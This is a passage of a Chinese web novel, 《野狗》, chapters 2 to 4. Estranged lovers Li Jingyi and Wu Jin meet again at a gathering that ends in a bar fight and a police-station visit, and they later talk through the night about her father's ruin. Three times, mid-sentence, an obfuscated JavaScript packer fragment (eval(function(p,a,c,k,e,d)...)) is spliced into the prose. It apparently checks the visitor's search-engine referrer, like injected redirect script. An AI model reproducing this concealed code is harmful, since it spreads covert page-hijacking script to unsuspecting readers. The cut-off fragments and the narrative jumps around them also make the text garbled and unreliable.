《野狗》 2. 第 2 章 从酒店出来,李京宜和丽丽走在前面。 郑小北低着头站在路边,江见林正在看手机,可人不耐烦地踢了一下脚边的石头,对这俩说:“你们坐我车过去吧,她们有老陈呢。” 郑小北看向江见林:“你的车呢?” 江见林一下没反应过来,半天才说:“我只是个在读博士,一没工作二没背景,哪来的钱买车?!” 郑小北又把头扭回去。 江见林不平衡了:“你的车呢?” 郑小北:“我没说自己有车。” 就是这么直接大方。 他们正说着话,老陈已经把车开了过来,降下车窗,把头伸出来,对可人说:“李京宜和丽丽上我的车,小北和江见林交给你了啊。” 可人皱眉:“吴尽呢?” “他单位有急事走了,晚点过来。” 李京宜脚步顿了顿,拉着丽丽开门上车。 可人却意味深长地看了李京宜一眼,忽然笑了,转头对郑小北和江见林喊:“你俩在这等着,我去取车。” 他们很快依次到了老陈朋友开的场子,像是一个清吧。老陈要了一个可以唱歌的包厢,里边还有麻将桌和几匝啤酒。 换了地方,彼此说话便都放开了。 李京宜和郑小北坐在沙发上,一个在点歌,一个沉默。另外四个人去喝着酒搓麻将,很快包厢热闹了起来。 丽丽扔了个五筒,对李京宜喊:“我要听《夜空中最亮的星》。”最后一个字这一声拉的超长,可见兴致很高。 李京宜看着电视,认真找歌。 郑小北的声音是在那句“越过谎言去拥抱你”之后出来的,像是犹豫了很久,才说出口:“你没有出国念书对吧?” 李京宜按着遥控器的动作一顿,静了很久,手都要麻了。郑小北将桌上的可乐给她推过去,仔细观察者李京宜的表情,说:“去年我在明成事务所见过你,我们公司跟那边有合作,那天你没看见我。” 李京宜慢慢转过头来,眼神有些警惕。 她和吴尽闹分手那个月,父亲的厂子出了事,惹上了官司,家里变卖了房产,还清了债务,终于捱到开庭,不知道是不是终于尘埃落定,父亲绷着的那根弦终于断了,庭审结束第二天病症突发走了。她那次去明成事务所处理后续事宜,已经是父亲去世一个月之后。 “你想说什么?”她声音很平静。 郑小北说:“你父亲的事情我听说了,但是你别误会,我只是打听了一下,看有没有可能帮得上你,后来不也没帮上什么吗。” 李京宜迟顿地点了点头:“谢谢。” “有什么好谢的,我什么都没做。” 李京宜淡淡摇头,目光落在电视花花绿绿的画面上,似乎已经有些麻木。她转过头,喝了一杯酒,眼神里瞬间涌出迷蒙的雾气。后来郑小北又说了几句话,她没怎么搭腔,就是觉得往日的伤口忽然冷不丁被掀起来,有些难受,独自又喝了好几杯酒。 喝到最后有些晕,李京宜去了洗手间。 外面走廊尽头是窗户,敞开着,有风吹进来,酒醒了大半。她站在洗手池前,把手放在龙头下面,半天不见水出来,皱了皱眉头,正要低头去看,旁边有一只男人的大手伸过来,抬起把手,水流了出来。 李京宜有些尴尬,抬头去道谢,愣住。 男人从镜子里看向她,那双眼神过于冷淡,像是要把她淹没。他们对视了很久,谁都没有说话,李京宜正想张口随便说点什么,吴尽已经转身离开了。 她在外面站了一会儿,才回了包厢。 丽丽第一眼看见她进来,就嚷着说:“李京宜你过来替我,他们太不够意思了,简直赶尽杀绝,我还一把都没赢呢。” 李京宜站在茶几边上,有些拘谨的搓了搓手。她看到吴尽站在阳台外面打电话,背对着她,微微低着头。她知道丽丽好意,担心她尴尬,便走向麻将桌。 可人抬头对她说:“我可不会手下留情啊。” 李京宜笑了笑,认真摆着麻将,过了一会儿才说:“我打得不好,只能玩两把,各位行行好,别让我输的太难看。” 江见林问:“京宜,你在哪个电视台?” 摆好之后,正在调牌,李京宜摸了一个三条,打出一个南风,慢慢说:“江东城市频道。”她说的算是具体了,说完又加了一句,“刚调过去没多久。” 江见林喝了点酒,想了想说:“我在那边有些熟人,你要是需要帮忙,就支会一声。” “呦,江博士电视台都有熟人?”可人调侃。 江见林抬眉:“我哪都有,你要吗?” “不好意思,看不上。”可人轻哼,转过脸去,摸了牌,打了一张幺鸡,注意力又放在李京宜身上:“怎么还想着回来呢?” 丽丽端了把椅子坐在旁边,虽然一直盯着牌,但脑子没停,把这话茬接了过来:“这里是她家,不回来老待外头吗?可人你这说的什么话。” 李京宜低头看牌。 “我不过就是问问。”可人笑。 丽丽像是终于找到机会,直接把话给顶了回去:“你安的什么心我还能不知道,早点把心思收了,他要真看得上,早八百年前就追你了。” 可人脸色一僵。 丽丽又转向江见林,这位似乎也黑着一张脸,但丽丽不在意,笑着玩笑道:“你这三年都没个动静,不会跟王宝钏一样还得十八年吧?可别被人耽误了,这备胎有什么意思。” 李京宜扯了扯丽丽的衣服。 丽丽又是一笑:“对不住啊,喝多了。” 江见林脸色更难看了。 阳台的玻璃门这时候被人推开,吴尽走了出来。老陈看了一眼这一桌上暗流汹涌的样子,递给他一杯酒,转头问道:“单位的事儿忙完了?还担心你过不来呢,要不要玩两把?” 吴尽接过酒,抬了抬眼:“你们玩吧。” 可人偏头看过去,眼神在吴尽身上停留了几秒,又默不作声地转回来,抿了抿嘴唇:“就这么不想跟我们待一块?” 吴尽轻笑:“要真这么想,就不过来了。” 江见林接着开了口:“吴副科长的面子现在很大啊,这老同学见面,话都不说几句,打个牌都不应付了?” 吴尽皱了皱眉,不露声色笑了笑,喝了点酒,没有出声,倒是老陈接上话茬,缓解气氛一般,摇了摇手:“他不是那个意思。” 江见林不耐烦道:“老陈你别为他说话。” 包厢里忽然安静下来。 吴尽放下酒杯,不缓不慢解下左手腕的表带,语气顿了顿:“这个月工作刚上手,确实有些忙,要是怠慢了,一会儿敬大家几杯算是赔罪。” “吴副科长现在面子真大,玩个牌都看不上了。” 大家都不知道江见林这是在发什么疯,好端端非要这么说话,从开始见面语气就很不好。再见到可人看吴尽的眼神,李京宜几乎很快明白了。 她一直低着的头,慢慢抬起。 只见吴尽沉默半天,笑了,他递给老陈一个眼色,老陈马上起身让座,吴尽将手里的表带放在桌上,淡淡问:“你想怎么玩?” 李京宜不愿意重新再卷进去,她准备起身前说:“你们玩的我不会,就不给你们添麻烦了,我还是……” 吴尽声音极淡,也很不客气:“坐下。” 李京宜一怔。 这是见面之后他第一次对她说话,也不看她,语气里甚至有些不耐烦,近乎命令的方式。 这时候听到可人说:“既然李京宜不太会玩你们那些花里胡哨的,就正常打牌吧,谁输谁赢不都一样吗?”这话有些放低姿态。 “就是就是,京宜你接着玩。”老陈搭腔。 丽丽坐在李京宜后面,戳了戳她的后背,对着众人说:“都这么多年同学了,难得在一起吃个饭玩一把,较个什么劲儿啊,赶紧玩吧。” 江见林噼里啪啦推着牌,故作思考问李京宜:“说起来我倒是想起一件事,上个月你是不是去过国贸大厦,跟一个男的?” 当时工作拍摄需要,确实去了几次。 李京宜抬眼:“怎么?” 江见林意有所指地笑说:“你那同事是我一个朋友,挺想追你,就是说不出口,需要的话我帮你牵个线,这么多年,你看人的眼光可没我好啊。” 李京宜瞬间看向吴尽。 他嘴角勾起一抹似有似无的笑意,手里玩着牌,左手端起啤酒喝了几口,一直低垂着眉眼,只是那双眼睛里全是冷意和寒气,笑意也未及眼底。 老陈赶紧搭腔说:“京宜,该你打牌了。” 事实证明李京宜真的不太会玩,而且牌很烂,手上全是对子,她愁眉不展,不知道要打那个牌,下意识抬头,撞到吴尽眼里。但他像是没看见她,平静移开。吴尽自然知道她牌技很差,想当初教了她几个月,都打不好。后来朋友都知道吴尽的女朋友不会打牌,更得劲了,每次见面一起玩,都恨不得让吴尽输的惨不忍睹。 可人催了一句:“还没想好?” 李京宜不好意思笑笑,随便打了一个三筒。 该江见林摸牌了,只是也磨蹭了半天,慢声细语道:“这都多少年了,你这牌技一点没见长。” 李京宜很轻地“嗯”了一声。 “她那么看中工作前途,哪里会玩呢。我有一个朋友玩这个特好,哎对了京宜,改天介绍你认识。明天你有时间吗?我们去逛街,顺便一起见个面。” 可人说得很热情,但李京宜知道,那只是客气,她们确实没到那个情分上,只是这话背后的意思,说不清楚。 李京宜微微一笑:“不好意思,我工作挺忙的。” 可人不依不饶:“就是一份工作,那么认真干什么?你就是生活缺少乐趣,还需要一个男朋友,我看咱也别给谁介绍了,江见林就不错。” 吴尽丢了一个三万,动作不大,但周围的人能感觉到气压变低了。老陈眉毛挑了一下,与丽丽对视一眼,那意思是咱俩得打圆场,你先来还是我先来。 李京宜脸色很淡,没搭话,打了个牌:“东风。” 倒是江见林显而易见的有些怒了,看向可人:“你今天怎么了,不知道我在追你吗?” 话说到这,虚与委蛇结束了。 可人很快地朝吴尽看去,只扫了一眼,对上江见林的视线,也不留情面:“你不知道我对你没感觉吗?” 此时此刻,空气都安静了。 吴尽似乎也有些不耐烦,敷衍地笑了笑,从牌桌上拾起来那个东风,上面好像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你说过了就过了?那你喜欢他这么多年,你过去了吗?你看上他什么了,今天打从看到他,你就不一样,可是他看过你吗?他心里只有李京宜。” 这话一出,都愣了。 可人大喊:“江见林?!” 吴尽懒得看热闹,把烟摁灭在桌上,站了起来准备走,脸上的表情带着一种蔑视,却又让人觉得风轻云淡。这一下彻底激怒了江见林,转过身直接一拳打向吴尽。 李京宜吓了一跳,话都来不及说。 吴尽挨了一记闷拳,嘴角见了血,他用拇指抹了一下嘴,蹭在桌布上,眼神变得沉郁,别过脸去,笑了一声,又很快转回来,一脚踢倒桌子,江见林没站稳,跟着桌子向后倒去。 桌子倒了,李京宜向后退了一步。她看着事态变得不受控制,心里有些担心,忍不住喊他:“吴尽。” 她忽然这样叫他,吴尽愣了一下。 她的声音软绵绵的,看着是个心软的姑娘,但是后来他才知道,她的心比谁都硬。即使在他们分开前那一个月,经常吵架,他也不舍得说重话,但她似乎早就已经做了分开的决定,吴尽想不明白。 包厢里乱糟糟的,江见林的声音又从桌下冒了出来:“有种今天就做个了断,谁都别走,老子受够了要。” 只是这场面太过混乱,瓶瓶罐罐倒了一地,很多杂音都听不清楚,眼见李京宜要过来,吴尽阴沉地转向她,声音冷淡,:“这没你的事。” 那眼神太冷了,李京宜心里一阵哆嗦。 丽丽把她拉到一侧:“让他们打吧,迟早得这么一架。” 江见林已经从地上爬起来,又一拳挥过来,吴尽侧身一躲,江见林又转身靠过来,两个人厮打在一起,场面一度混乱。老陈插不上手,也拉不开,差点被推的倒在地上。包厢里的物件都砸碎了,地上一片狼藉。 大概是动静太大,有服务员推门进来看,也被吓住了,外面很快围了一圈人,不知道什么时候郑小北已经过去那边,去驱散人群,与酒吧老板交涉。 老陈一边看着可人,另一边还想着趁机拉架,但总没找到机会,心里也觉得,打吧打吧,冲冠一怒为红颜,这一架非打不可。 江见林个子比吴尽低一些,但下手并不轻,嘴里也没停:“吴副科长身手不错,就是情场不行,指不定做了什么事儿,人家李京宜不要你了,当着前女友的面,再吊着一个可人,还不够吗?” 吴尽眼神一冷,一脚踢在江见林肚子上。 李京宜惊呼了一声,拉着丽丽的手紧张地颤抖,眼见着吴尽又凑上去,她想也不想就要追过去,急忙喊出声:“吴尽?!” 他打红了眼,对她低吼:“你他妈别叫我。” 她一叫他,他就心软了。 从来都是这样。 李京宜定在那儿,眼睛酸了,一句话都说不出来,静静地看着他,半晌转过头去,再一次与可人目光对视。 可人瞥她一眼,冲过来想要拉开江见林,脚下一滑,差点摔了。江见林往这边瞥了一眼,那股气势忽然淡去了,吴尽看了一眼李京宜,皱了皱眉,动作也慢慢停了下来,松开江见林的衣领,退开两步,靠在墙上,喘着粗气。 江见林一脸哀伤地看着可人:“这种时候你还想着他。” 可人冷笑一声,觉得这辈子的脸都丢尽了,走到沙发上拎过自己的包,什么话都没有说,就走了。 可人一走,警察来了。 包厢里已经混乱不堪,很多东西都破坏了,砸了一地碎玻璃。不知道是谁报的警。现场破坏很严重,又是打架斗殴,吴尽和江见林都要跟着去警局一趟。丽丽认识的人多,打了几个电话帮忙,和老陈留在这处理后续的问题,一直沉默的郑小北和李京宜跟着一起去了警局。 3. 第 3 章 秋天的深夜里,有一些微风。这风吹过来,两个人酒醒了很多。警察局里,各自坐在长椅的一边,脸上都带着伤,彼此沉默着。 郑小北和李京宜在与警察交涉。 李京宜低头认真填表,填完了交给警官,转过身的时候碰见一个熟悉的人,愣了一下,声音很低地喊了一声:“张警官。” 张建国一眼就认出她:“你爸的事儿出问题了?” 吴尽坐的并不远,听到这话皱了皱眉,抬起头看李京宜。只见她像是在躲什么似的,侧过了身,挡住他的视线,和那个警察出去说话了。 办公岗位上有两个警察喝着茶,紧接着一个人说:“这姑娘去年隔三差五就往这跑,倒是难得见到老张这么上心。” “这还看不明白,咱这圈子里肥水不流外人田的事儿还少吗?这姑娘人不错,听说老张有个外甥做海关的,正张罗着呢。” 吴尽听罢,蹙紧眉头。 江见林在身侧弄出了一些动静,将腿伸直,又转了转脖子,偏头看过来。吴尽也好不到哪儿去,嘴角挂着伤,额头也有被瓶子划伤的痕迹,血迹渗了出来。 两人视线一对上,吴尽抬起下巴:“还想打?” 江见林沉默了一会儿,往后面一靠,缓缓叹了口气:“打什么打,不打了,再打下去,吃亏的还是我。” 吴尽冷淡一笑:“知道就好。” “能求你个事吗?” 刚打了一架,忽然来这么一句,要不是看在江见林比他伤得更重的份上,吴尽真想问一句“你脑子没问题吧?”,话到嘴边顿了顿,目视前方:“你说。” 江见林过了许久才开口:“林可人……” 吴尽目光一抬,看到窗外那个熟悉的身影,她侧身站着,和那个警官说一句笑了笑。他脸色一沉,没什么耐性地打断了江见林后面的话:“我要是真对她有兴趣,这三年轮得上你?” 江见林苦笑了一声:“我还得谢谢你。” 吴尽平静地看着外面,嘴角微沉。 外面那两个人身影慢慢淡去,走了进来,听见李京宜的声音:“今天真是麻烦你了张警官,改天请你吃饭。” 后来也没有怎么为难,再加上两个闯了祸的当事人都冷静了,只让各自写个两千字的悔过书,明天交过来,就让走了。江见林在这一秒都待不下去,也没跟谁打招呼,头也不回,拦了一辆出租车就走了。 出了警局,李京宜和郑小北站在路边。 吴尽走在最后面,点了支烟,老陈打电话过来问他现在什么情况,他微侧着身,整个人隐在黑暗里,声音略显随意:“就那么回事儿,弄不出什么动静,但是哥们儿那两千字检查你就认了吧。” “我说吴科长,你这颐指气使玩的很溜嘛。” 吴尽听着笑了笑,轻轻抬眼,在看到李京宜的目光落过来的时候,别过脸去,站在那儿,也不往前走,闷头抽烟。 李京宜也不看他。 旁边的郑小北说:“要不我先走吧?” 李京宜摇了摇头:“他不想见到的是我。” 郑小北知道她有点尴尬,主动提了一句今晚的事情:“其实都是朋友,没有必要闹成这样,他今晚确实有点冲动了。” 李京宜笑笑:“他以前不这样。” 郑小北一愣。 马路边缓慢开过来一辆出租车,李京宜伸手一拦,车停了下来,她上车前,犹豫着对郑小北说道:“他肠胃不是很好,你和老陈走得近,让老陈劝着点,别喝太多酒。” 直到汽车扬长而去,郑小北叹了口气。 吴尽挂了电话,在后面不紧不慢走上来,视线紧随着那辆车走了很远,才收回来。现在就剩他们两个大男人,虽然郑小北闷了点,但吴尽没得挑,就是有些烦躁,他手抄裤兜,摸了摸鼻子问:“换个地方喝酒?” 郑小北差点笑了出来。 于是大晚上的,风吹过来,两个大男人默不作声地,从警局门口右拐,走了一条长街,终于看到一个卖烧烤的摊位,都懒得再找地方,直接往那一坐。吹着风,要了几瓶啤酒。 郑小北平时沉默惯了的一个人,看到吴尽仰头喝着酒,说了让人听起来感觉很认真的一句话:“明天早上记得过来交检查。” 吴尽差点一口酒喷出来。 “我怕你喝的不省人事。” 吴尽笑笑:“不会。” “不见得吧。” 吴尽擦了擦嘴角,眼神有些张扬:“就是再来二十瓶,喝了照样没事,这玩意儿就跟喝水一样,都不够我热场子的。” 郑小北点头:“吴副科长海量。” 吴尽“啧”了一声,眼神微微眯了起来,要笑不笑的:“你这是骂我呢?” “我可不敢。”郑小北看着他,半真半假地说,“你今晚打江见林那个狠劲,我可是见识过了,这下朋友都没得做了,你倒是挺看得开。” 吴尽淡淡一笑。 郑小北问:“最近都忙什么呢?” 吴尽眉头又皱了起来,有些烦躁,想点烟,放在嘴里又没了兴致,只好又拿下来,有些索然无味道:“局里就那些事情,除了忙没什么乐趣,你们做律师的,跟检察院打交道还少吗,这些应该最清楚。” 郑小北:“还以为你能说点新鲜的。” 吴尽偏过头看向远处一片深夜,路边过去一辆车,打着双闪停下来,那光线有些刺眼,他转过脸来,不经意地开口:“李京宜她爸出了什么事你知道吗?” 郑小北猝不及防一怔。 吴尽眼神一沉:“别告诉我你不知道。” 郑小北笑了一声,其实这人很少笑,只是跟老陈走得近,大家来往稍微多一些,但这次单独两个人喝酒,还是第一次。除了今晚的事儿推到这,大概还有什么意思,彼此都心照不宣。 郑小北揶揄:“原来你是为了这个。” 吴尽被戳中心事,有些不自在,端起酒喝,抬眼看向别处,口是心非道:“这几年忙着工作,对那事儿没什么心思。” 郑小北忽然问:“那要是我追李京宜,你介意吗?” 吴尽动作一顿,把酒放在桌上,认真打量了一眼郑小北,神色慢慢淡漠下来,很久都没有说话,嘴唇抿紧了,眼神复杂,他在确定这句话是不是玩笑。 郑小北又笑了:“你们当初在一起的时候,我挺意外的,但也接受了。你这人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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吴尽愣了好半天,浑身都冰凉刺骨,好像声音都不是自己的:“她不是还在外面念书吗,这么大的事儿她一个人怎么办的成?” 然而下一秒— — “她从来没有出国留学,你不知道吗?” 吴尽的呼吸几不可察地停了一瞬,喉结微微滚动。这话像一记重磅炸弹砸过来,他垂在身侧的手悄然握紧,习惯性地去摸烟,摸了个空,手却一直不听话的在抖,却还是极力维持着表面的平静。 他的声音低缓压抑:“你早就知道了?” 郑小北没有回避:“上个月吧。” 他们坐在风里。烧烤摊上的烟雾随风飘过来。郑小北把桌上的烟盒扔了过去,吴尽低着头去拿,抽了一支又一支烟,良久没有出声,只是眼神慢慢变得暗淡,整个人显得沉郁焦躁,却又动弹不得,只能麻木地抽着烟。 他的手又开始颤抖不停。 吴尽低垂着眼睛,看不清楚情绪,整个人沉浸在黑暗里,像是没有了知觉,就连郑小北什么时候走了都没察觉,抽了几支烟之后,平静了。 过了会儿,他打了个电话。 丽丽正睡得迷糊:“谁啊。” “李京宜现在住哪儿你知道吗?” 4. 第 4 章(终结) 从警察局回来,李京宜洗了澡就睡。 今天发生的事情太多太乱,她已经筋疲力尽,想起好多事儿,想着想着就睡着了。她很少梦见吴尽,但是这一晚梦里他的脸特别清晰,平静地靠在房间的门框上,也不说话,就这么看着她。像很多年前他追她的时候,堵在她宿舍楼下,声音闲淡散漫,又很自大:“你对我有感觉是不是?” 李京宜想要说话,转身便醒了。 房间里关着灯,很黑,她的眼睛适应了好久,这一下彻底睡不着了,满脑子都是吴尽那张不冷不热的脸,怎么都挥之不去。刚睡下一会儿,电视台的电话就打来了,说节目要提前排播,让她现在过去剪片子。 反正睡不着,李京宜干脆起身。 她换了身简单的短袖短裤,拎着一个大包就下楼了。现在是晚上十一点,夜里的路灯有些昏黄,行人也不多,四周都特别安静。 远远看见有个人在楼下抽烟。 李京宜起初没有在意,这个时间还不回家的男人,她有时候半夜从电视台回来,也不是没见过。但她又往前走了几步,慢慢看清了那个男人的脸,脚步一下子顿住了。 他浑身肃穆地站在那儿,微低着头,手指夹着烟,缓缓放在嘴边,眼神募得抬起,看了过来,抽烟的动作停了下来,脸上非常平静。 吴尽有所察觉,抬了一下头。 他打量了一眼她身上的行头,皱了皱眉,像是稀松平常的语气:“这么晚去哪儿?” 李京宜压抑着心底的触动:“台里加班。” “你不是在那个什么城市频道吗,又不是什么大热节目,怎么这么晚了还要加班,谁是你们领导?把电话给我。” 李京宜站着没动。 但他的表情告诉她,不太对劲。这个男人近乎专制的样子没有改变,甚至眼里还有些隐忍的怒气,只是一直压抑着没有爆发。 李京宜平静地看着他:“这是我的工作。” 吴尽瞧了她半天,点了点头:“这么晚了你一个人过去不安全,又喝了点酒,我叫个车送你。” 李京宜反问:“你不也喝酒了?” 喝得更多好吧。 吴尽表情有些复杂,偏过头吸了口气,又转回来,声音闷闷的:“我什么酒量你不知道吗?” 李京宜咬紧了牙:“不知道。” 吴尽静静看着她,视线又转向一边,叹了口气,丢了烟头,朝她走过来,趁她没有防备,伸手拿过她的包:“怎么还是这么嘴硬?” “把包还我。” 吴尽:“不给。” 就这么僵持着。 吴尽耐心地跟她周旋,也不着急,语气淡淡地:“要么就在这耗着,要么我送你过去,怎么选你看着办。” 李京宜知道他说到做到,双唇紧抿着看他,半天才出声:“你大晚上喝成这样,明天不用工作吗?” 吴尽哦了一声:“你在意吗?” 李京宜深吸一口气。 包里的手机这时候响了起来,李京宜知道肯定是上面电话,她着急去吴尽手里拿包,他个子高,手一抬,她够不上,只能瞪着他。吴尽垂眼,不知道是不是喝了太多酒的缘故,深夜里看过去,脸色已经有些发白,但他浑然不觉,只是平静地注视着她。 李京宜动作慢慢停了下来。 吴尽一脸深沉望了她很久,神色越发凝重,忽然转身就开始往外走,步子又大又快。李京宜半天才反应过来,匆忙跟了上去。等她走到路边,他已经拦好了车,坐在后座,偏头看过来。 李京宜步子顿了一下。 吴尽要笑不笑的,似乎是用了这辈子的耐心跟她耗着,扯了扯她的包,眼神却有些悲伤:“行,不上车是吧,一会儿我就找个护城河,把这玩意儿扔了,明天去你们电视台找你算账。” 李京宜不可思议:“你扔我的东西,还找我算账?” 吴尽笑了笑,这笑半分笑意都没有,让人心里猛然一跳,倒是说话还算冷静:“就是这么不要脸,你又不是没见过我什么样儿?” 她被他气得说不出话来。 李京宜看了一眼表带,确实不能再给耽搁了,也不再犹豫,看了一眼他身旁的位置,直接坐到前面的副驾驶座。等到师傅开了车,她无意从后视镜里看到他那脸,真是又冷又硬。 吴尽将她的包扔到她怀里。 李京宜打开包,拿到手机,给领导回了个电话,车里很快安静下来。他们一路上都没有再说话。车子开到电视台门口,李京宜也不看他,径直下车走人,一路走进电视台不回头。 原本是星期天才播的片子,忽然被别的节目抢了排播,要他们提前搞出来,明天晚上八点电视台直发。这种事并不新鲜,李京宜也早就习惯了,半夜跑回来加班更是常见,脾气也被磨的差不多了。 忙完近乎是半夜三点多了。 她和男同事一起从电视台里走出来,对方提出开车送她回家,她正想要说话,瞥见楼下灌木丛边有一个高瘦的人影,手里拎着西装外套,低头在抽烟,下一秒却抬起头来。 吴尽看见来人,皱了皱眉头。 李京宜也没想到他居然还在这,愣了一下,说不出是什么情绪,心里一跳一跳,对身边的同事说:“我还有点事,你先走吧。” 男同事打量了一下吴尽,眼角里有一些男人之间的敌意,然后微微侧脸说:”有事打电话。”说完伸手拂了一下李京宜肩膀的头发,李京宜下意识没躲开,微微一笑。男同事也不再说什么,转身走了。 吴尽朝她走过来:“他是谁?” 李京宜淡淡瞧他一眼。 吴尽第一眼看见,就想起来是早上遇见的那个与别的女人车里激吻的男人,心里有些不舒服:“离他远点。” 李京宜没说话,径直往前走。 电视台在江东的南边,地处工业区一片,白天还好,路上经常有车经过,到了晚上,大马路空旷寂静,没有人影,叫车还得去前边路口。 他们一前一后走在路边。 李京宜有些害怕面对他,狠了狠心,走了几步,忍不住回过头来:“我们已经分开了,你没有权利干涉我的生活,这么大人了,能不能别这么幼稚?还有你和林可人之间的事情,不要牵扯我,江见林你也打了,气也出了,我们各归各位,就当今天没见过,行吗?” 吴尽定定看着她:“我跟她没关系。” “这不关我的事。” 李京宜想要转回身去,胳膊给吴尽一扯,又转回来,她挣脱不开,别过脸去就是不看他,眼睛却有些红。 吴尽心里一疼:“你怎么了?” 李京宜担心被他看到端倪,忽然用尽力气甩开他的手:“咱俩已经分道扬镳了,你忘了吗?要不要我给你提个醒。” 那时候吴尽工作不久,每天忙得焦头烂额,当时李京宜也在找工作,又加上家里出了事,心慌意乱又不敢说,慢慢地两个人开始吵架,甚至有一个礼拜都没有联系。等到吴尽再次打电话给她的时候,她却说自己要出国念书了。这么大的事儿一个商量都没有,吴尽发了很大的火,人在气头上就说了分手。再次冷静下来去找她,听说李京宜已经走了。 四周寂然无声,只有黑夜和路灯。 李京宜往后退了一步,和他拉开距离,尽量让声音显得平和:“我们年纪都不小了,各有各的生活,你的圈子我进不去,我和什么人交往你也别关心,这样挺好的。” “你说那个男人?” 李京宜没有否认。 吴尽冷笑了一声:“江见林有一句话说的没错,你就是眼光不行,那人什么德行知道吗,就让他随便动手动脚?” 李京宜苦笑:“我就是眼光不行。” 这话一语双关。 吴尽气得转过身,差点把手里的西服都要扔了,缓了半天又转回来,像是忍了太久,脸色沉重的不像话,眼睛里也有些猩红的血丝,声音沉郁,又出奇地平静:“你说得对,我没本事,我女朋友家里出了这么大的事,我他妈什么都不知道?!李京宜你告诉我,这他妈像话吗?!” 李京宜的眼眶募得湿了。 她对今晚已经有了预感。 吴尽的声音越来越低,像沙哑的纸,磨在她的心脏上,左边一下,右边一下,偏偏这人又固执狂妄,但说出来的话已经没有了棱角,那是一种悲愤的无奈:“我就这么不值得你信任吗?” 她目光微动。 “说话。” 李京宜不想让他看见自己流泪,很快转身用手擦掉,深吸了一口气:“既然你都知道了,还说那些做什么呢,这些和你没关系,都过去了。” 吴尽点了点头,阴郁地瞧着她:“什么叫没关系?!李京宜你告诉我,这些年你把我当什么人了?我他妈就是一个薄情寡义的混蛋是吗?” “我没这么想过。” 吴尽差点被她笑了,笑的眼睛都疼了:“但你做的事儿就是这么个意思,你敢说不是?” 李京宜当即转过身来:“我们能不能好好说话。” 吴尽脸色一顿,神态倏然冷峻起来,所有的情绪都沉入一片深不见底的静默,很久哑声开口:“李京宜,今晚到底是谁不想好好说话?” 李京宜鼻子一酸。 他们近乎对峙地站在那儿,谁都没有动。李京宜眼睛模糊地看向吴尽,他今晚是铁了心要跟她耗着,她沉默了一会儿说:“我现在挺好的。” 吴尽心里太他妈难受了,都到这个时候,她居然还是什么都不想说,随便两句就平平淡淡地就算是交代了,这女人比他狠,这么多年感情说不要就不要了。 吴尽掏出烟盒,抽出一支烟来,咬在嘴边,点了火,却没有吸,就那么咬着,脸上忧伤难抑,他问京宜:“这三年怎么过来的?” 啪嗒一声,李京宜心弦就断了。 她低头看着脚尖,好像所有的痛感都消失了,她笑了笑,抬头,眼神挺柔和的:“你看你这人,都是吴副科长了,说话别老是一副质问的语气,弄的人都是你下属一样,真的很不利于团结。” 吴尽看着她的脸,眼睛一红,扭过头去:“你别这么看我。” 她顿了顿:“真想听啊?” 吴尽沉默看着她。 李京宜的笑意很快收了,低下头往前继续走着,沉默了很久,他们都没有说话。吴尽也不催,就这么走着。 过了一会儿,李京宜的声音慢慢出来,平常说话一般道:“我爸厂子还在的时候,家里什么都好,那时候跟你在一块,我挺开心的。后来厂子倒了,他被人告了,好像一夜之间,什么都没有了。但你还是那个你,有着特别好的家庭,父母又身居高位,你几乎毫不费力就得到了想要的,这些都是我没办法够到的。” 空气中安静了几秒。 吴尽声音沙哑艰涩:“你觉得我会在乎那些?” 李京宜看着沉沉的黑夜,郑重地摇了摇头,很久才道:“我爸当时身体很不好,律师说可能会判刑。当时你的事业才开始,如果牵扯上的话,现在这条路你就别想走了,我说这些不是想要说我多伟大。” 她停了下来,像是鼓足了勇气一般,有些艰难地开口:“我只是没有那么自信,所以先做了选择。” 吴尽闷头抽着烟,眼皮沉重的不像话。他想说出点什么话来,嘴巴像是灌了铅,充满苦涩和破碎,一句话都说不出来。他哆嗦着手,把烟放在嘴边,轻吸。 彼此沉默了好大一会儿。 就在吴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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吴尽清了清嗓子,咳了两声,还是掩饰不住的低哑:“我的工作都很枯燥,没什么意思,你不会喜欢听。” 李京宜点头一笑:“也对。” 吴尽晚上喝了不少酒,这会儿风一吹,好像酒意有些上来,他想起点什么,别扭地问她:“今天那个警察,要给你介绍对象是不是?” 李京宜反应了一秒,看他。 吴尽摸了摸脖子,扯了扯衬衫领口,哼了一声:“你这么好骗,别什么人都信。” 李京宜虽不想理他,还是说:“我知道。” “这么乖?”他说。 李京宜睨了他一眼。 “好像太阳快出来了。”听见吴尽忽然说。 这才几点。 李京宜当然不信:“怎么可能?” 吴尽对她摆了摆手,又抬手指向东边一处有些光亮的地方,身体微微靠近,嗓音里有很淡的笑意:“过来,你自己看。” 李京宜顺着他的方向看过去。 她仰着脖子,很认真地在瞅。吴尽却没有抬头,只是把目光停在她身上,看着她的侧脸,细长的脖颈光滑细腻,那是他曾经抚摸过很多遍的地方。 他在她脸上大概停了一分钟,才抬眼移开,看向远处:“在知道你离开之后,我申请去了基层。那个地方比较苦,县里很多基础设施都跟不上,经常要下乡,很多时候帮村民做点事,一来二去,就这么过来了。倒是那边种了很多山茶花,冬天开花很漂亮,今年要是有空,我带你去看好不好?” 最后一句话顺嘴就说了出来。 吴尽瞧了一眼李京宜的脸色,并没有什么抗拒的意思,心里松了一下,眼底的情绪慢慢涌上来,忍不住低声叫她:“京京。” 李京宜的心猛然一跳。 这时候远处照过来一抹光亮,有出租车开了过来。她装作没有听见他说话,指了指快要靠近的车子,对他说:“车来了。” 吴尽扔了烟头,点头:“好。” 车子从僻静宽阔的马路,慢慢驶入繁华的市中心,车流也多了起来。虽然已经是半夜,但总能看见灯红酒绿的街道上,男男女女在路边痴缠。 他们坐在后座两边,没再说话。 